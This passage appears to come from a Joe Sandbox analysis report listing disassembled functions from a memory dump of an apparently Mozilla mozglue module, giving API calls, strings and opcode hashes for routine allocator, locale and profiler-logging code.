?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35DC9
std::_Facet_Register.LIBCPMT ref: 6CB35DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35E45

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 5bd2f2a32c0c0d38c6248e675c2970317be4b66dccdee856744aba022e019ab3
Instruction ID: 75654083c8a49dbdc718b7539de40a009029c354787a6376da1eb3ccf9bedb77
Opcode Fuzzy Hash: 5bd2f2a32c0c0d38c6248e675c2970317be4b66dccdee856744aba022e019ab3
Instruction Fuzzy Hash: 99418F307002658FCB01DF65C898EAE77B9FF89314F544068E50A9B791EB34EC09CB65

Function 6CB0CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CAD31A7), ref: 6CB0CDDD

Strings

<jemalloc>, xrefs: 6CB0CF9F, 6CB0CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CB0CFA4, 6CB0CFB8

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: cca4e069328eb0639c6f3f0a03d8e369c9aa93da98abe63dfcaf1c1c85d1679d
Instruction ID: 216a60c3df00ea49e62d8ad0688802e782fbc1d520f2941371a0464277411044
Opcode Fuzzy Hash: cca4e069328eb0639c6f3f0a03d8e369c9aa93da98abe63dfcaf1c1c85d1679d
Instruction Fuzzy Hash: 9031B031B402855BEF10AFA98C45BAE7F75EF41B58F744018F610ABA80DB71E8048BB3

Function 6CADECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CADF100: LoadLibraryW.KERNEL32(shell32,?,6CB4D020), ref: 6CADF122
Part of subcall function 6CADF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CADF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CADED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CADEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CADEDCC
CreateFileW.KERNEL32 ref: 6CADEE08
free.MOZGLUE(00000000), ref: 6CADEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CADEE32

Part of subcall function 6CADEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CADEBB5
Part of subcall function 6CADEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CB0D7F3), ref: 6CADEBC3
Part of subcall function 6CADEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CB0D7F3), ref: 6CADEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CADEDC1

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: f1e855f9e969f9a0f1717e807e97708d944338a6e17d92d3357e3b94d0b63ffa
Instruction ID: 78e07247c7a9f64ec29c32f76c987d2c68eeb66b1c4c30c7aa53f86745f40b2d
Opcode Fuzzy Hash: f1e855f9e969f9a0f1717e807e97708d944338a6e17d92d3357e3b94d0b63ffa
Instruction Fuzzy Hash: 8051D271D053459BDB00DF68C9406EEF7B1AF49318F49852DE8956B740EB34B988C7E2

Function 6CB4A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB4A565

Part of subcall function 6CB4A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB4A4BE
Part of subcall function 6CB4A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB4A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB4A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB4A6B6

Strings

z, xrefs: 6CB4A6AE
0, xrefs: 6CB4A5FB

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: fa3d2a1fbba98c69ce423640dc94862bd84eea15ea7750a8e3d233e8b1fdc34f
Instruction ID: 9c9204102bd78458acbabac19bc1041a4da10eb5afeb1352eea262e2e1225a54
Opcode Fuzzy Hash: fa3d2a1fbba98c69ce423640dc94862bd84eea15ea7750a8e3d233e8b1fdc34f
Instruction Fuzzy Hash: BF4126719087859FC341DF28C080A8FBBE5FF89354F408A2EE49987654EB30E549DB83

Function 6CB19420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
__Init_thread_footer.LIBCMT ref: 6CB1949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB1946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB1947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB19459

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 7f90b89df87ffeca80f6c776fce4ed2151e7d8023295fc8520afa7df27bb32cd
Instruction ID: 7b35ed04317d0972d62b8fdc7354661ffb71f85c895f475477881029d82a3ffb
Opcode Fuzzy Hash: 7f90b89df87ffeca80f6c776fce4ed2151e7d8023295fc8520afa7df27bb32cd
Instruction Fuzzy Hash: D101D474F041818BD7109F6ED811A5A73BAEB0A33DF480936ED0B87F41E621E864899B

Function 6CADB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB6AC

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CADB61E), ref: 6CADB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB79A

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 25cc72d902119037f17899e110c599daac01a0cc3012cb4974ad52912875c4b8
Instruction ID: 664b3ce2a645a8cbb0ceaf7590155c42d50a0e65ebc49d8d4a34ad2040f55a1d
Opcode Fuzzy Hash: 25cc72d902119037f17899e110c599daac01a0cc3012cb4974ad52912875c4b8
Instruction Fuzzy Hash: 7441B4B2D001159FCB04DF68EC805AFB7B5BB44324F2A0729E825E7780E731A94487D1

Function 6CB4B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB4B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB4B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB4B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB4B5F4
__Init_thread_footer.LIBCMT ref: 6CB4B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB4B61F
std::_Facet_Register.LIBCPMT ref: 6CB4B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB4B655

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 329e7fc1c37a621cbc185f016b8a4fb2db42528188e39322233e92b978dd118f
Instruction ID: eb8492606fd2b15814a4eae2905f000a74bf9a815924b56d123f31cc0b2dc371
Opcode Fuzzy Hash: 329e7fc1c37a621cbc185f016b8a4fb2db42528188e39322233e92b978dd118f
Instruction Fuzzy Hash: AB318F71B00254CBCF00EFA9C8589AEF7B5FF8A324B544559DA06977C0DB31A806CF91

Function 6CB21D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB21D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB21BE3,?,?,6CB21D96,00000000), ref: 6CB21D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB21BE3,?,?,6CB21D96,00000000), ref: 6CB21D4C
GetCurrentThreadId.KERNEL32 ref: 6CB21DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB21DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB21DDA

Part of subcall function 6CB21EF0: GetCurrentThreadId.KERNEL32 ref: 6CB21F03
Part of subcall function 6CB21EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB21DF2,00000000,00000000), ref: 6CB21F0C
Part of subcall function 6CB21EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB21F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB21DF4

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 522a2e2748f07ec54353cf346872d6ef270a34375a4ce7c4e8ec5c384d5d5ca4
Instruction ID: 7a2ad9421e03e01dc2ac11fc8ff2eb9136b56eb5a066c61259865a921d4054d7
Opcode Fuzzy Hash: 522a2e2748f07ec54353cf346872d6ef270a34375a4ce7c4e8ec5c384d5d5ca4
Instruction Fuzzy Hash: 8C4188B52007449FCB10DF29C488A6ABBF9FB89314F54442EE99A87B41CB35F854CB91

Function 6CB184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB185AC

Part of subcall function 6CB17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1767F
Part of subcall function 6CB17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB17693
Part of subcall function 6CB17670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB185B2

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 566011c55ab49042c5fa3aeecd0dc96ac5fe0dc2e89a07569d4958a94e214c8c
Instruction ID: e38e1ff56de912802da62a59eb3f70e09cec51ed865845ca914a7992129d7425
Opcode Fuzzy Hash: 566011c55ab49042c5fa3aeecd0dc96ac5fe0dc2e89a07569d4958a94e214c8c
Instruction Fuzzy Hash: F9218D742046418FDB14DF29C888A6AB7B9FF4430CF25482DE55F83B41DB32E948CB52

Function 6CB1F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB1F598), ref: 6CB1F621

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1F637
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F645
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8,?,?,00000000,?,6CB1F598), ref: 6CB1F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB1F62A

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 746b8c99cd85f2416925abbf21e3bdd4f04cd0aa3ca98bd645b1139e5e972e2a
Instruction ID: a70fdbb0ed5b8aecad28a23f96d3aa6898d26f7e7cb6a767a035101634721ba9
Opcode Fuzzy Hash: 746b8c99cd85f2416925abbf21e3bdd4f04cd0aa3ca98bd645b1139e5e972e2a
Instruction Fuzzy Hash: 2111C675305284ABDB04AF59D8489E9B779FF8636CB940415EA05C3F41CB72AC21CBA1

Function 6CAE0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CB0D9F0,00000000), ref: 6CAE0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CAE0F3C
__Init_thread_footer.LIBCMT ref: 6CAE0F50
FreeLibrary.KERNEL32(?,6CB0D9F0,00000000), ref: 6CAE0F86

Strings

combase.dll, xrefs: 6CAE0F18
CoInitializeEx, xrefs: 6CAE0F36

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: b5a663bba1cae27ec6b9cdd66e9bed505e41db6150ad711bc985332bb1434afd
Instruction ID: bda3be2ccb396f648877883dd6a7f2151781772c3d9bac320cbdcad2c612eaaf
Opcode Fuzzy Hash: b5a663bba1cae27ec6b9cdd66e9bed505e41db6150ad711bc985332bb1434afd
Instruction Fuzzy Hash: B311C2757052809BDF00DF54E908E5ABB74FB4E325F884629E90593744DB30E851DA95

Function 6CB1F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1F561

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1F577
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F585
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CB1F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB1F56A
[I %d/%d] profiler_resume, xrefs: 6CB1F239
[I %d/%d] profiler_pause_sampling, xrefs: 6CB1F3A8

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
